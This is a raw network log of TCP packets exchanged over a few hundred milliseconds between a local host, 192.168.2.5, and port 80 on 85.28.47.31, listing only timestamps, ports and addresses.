Jul 27, 2024 12:01:14.279988050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.279998064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280003071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280016899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280025005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280031919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280046940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280050993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280061007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280070066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280075073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280090094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280092001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280105114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280113935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280142069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280818939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280833960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280858040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280872107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280877113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280886889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280896902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280901909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280915976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280925035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280931950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280946016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280946016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280960083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280976057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.280977964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.280989885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281002045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.281018019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.281044960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.281841040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281856060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281872034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281886101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281894922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.281900883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281908989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.281915903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281930923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281934023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.281945944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281955004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.281960011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281975985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281984091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.281991005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.281996012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.282006025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282020092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.282040119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.282828093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282844067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282856941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282871008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282876968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.282885075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282900095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282905102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.282913923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282928944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282931089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.282941103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.282943964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282958031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282967091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.282974005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282989025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.282995939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.283004045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283015013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.283044100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.283801079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283817053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283830881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283845901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283852100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.283860922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283876896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283878088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.283891916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283901930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.283907890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283914089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.283921003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283936977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283943892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.283948898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283962965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283963919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.283979893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.283989906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.284004927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.284027100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.368850946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.368887901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.368913889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.368942022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.368942022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.368993998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369007111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.369009972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369025946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369041920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.369061947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.369081974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.369154930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369169950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369185925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369329929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.369443893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369458914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369474888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369489908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369504929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369518042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.369520903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369535923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369540930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.369560957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.369585991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.369915009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369930029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369944096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369957924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369972944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.369981050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370007992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370026112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370217085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370232105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370244980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370259047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370268106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370274067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370290041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370304108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370311975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370327950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370353937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370839119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370853901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370867968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370882988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370896101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370898962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370913982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370917082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370929003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370937109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370944977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370959044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370965958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370974064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.370985985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.370990038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371006012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371021032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371026993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.371042013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.371088028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.371773958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371788979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371803045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371817112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371830940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371833086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.371845961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371854067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.371860027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371872902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371875048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.371886969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371901989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371912003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.371916056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371931076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.371932030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371947050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371963024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.371963024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.371989012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372003078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372689009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372710943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372725964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372740984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372747898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372756004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372771025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372775078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372775078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372786045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372795105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372801065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372813940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372817993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372832060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372838974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372847080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372854948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372862101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372874975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372876883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372890949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.372899055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372915030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.372936010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.373720884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373737097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373749971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373764038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373779058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373783112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.373794079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373800039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.373807907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373822927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.373823881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373837948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373852968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373852015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.373867989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373873949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.373881102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373893976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.373897076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.373929977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.373929977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.374687910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374703884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374716997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374732018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374744892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.374746084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374762058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374767065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.374775887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374788046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.374792099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374805927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374819040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.374820948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374835968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374845028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.374851942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374861956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.374866962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.374886990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.374901056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.374922991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.375660896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375675917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375689983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375704050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375718117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375720978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.375732899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375741959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.375747919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375762939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375762939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.375777960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375792980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.375793934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375808954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375818968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.375823975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375838995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375844955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.375854015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.375864983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.375884056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.375905991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.376275063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.376328945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.461739063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.461771965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.461788893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.461803913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.461821079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.461837053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.461891890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.461908102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.461924076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.461930990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.461941004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462008953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.462009907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.462142944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462157965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462172985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462188005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462203026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462201118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.462234020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.462263107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.462374926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462390900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462426901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.462541103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462555885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462573051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462587118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462590933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.462604046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462618113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462631941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462642908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.462650061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.462677956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.462727070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463238001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463253021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463268042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463284969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463296890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463299990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463316917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463318110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463334084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463337898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463363886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463387966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463403940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463421106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463434935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463449001 CEST	80	49704	85.28.47.31	192.168.2.5
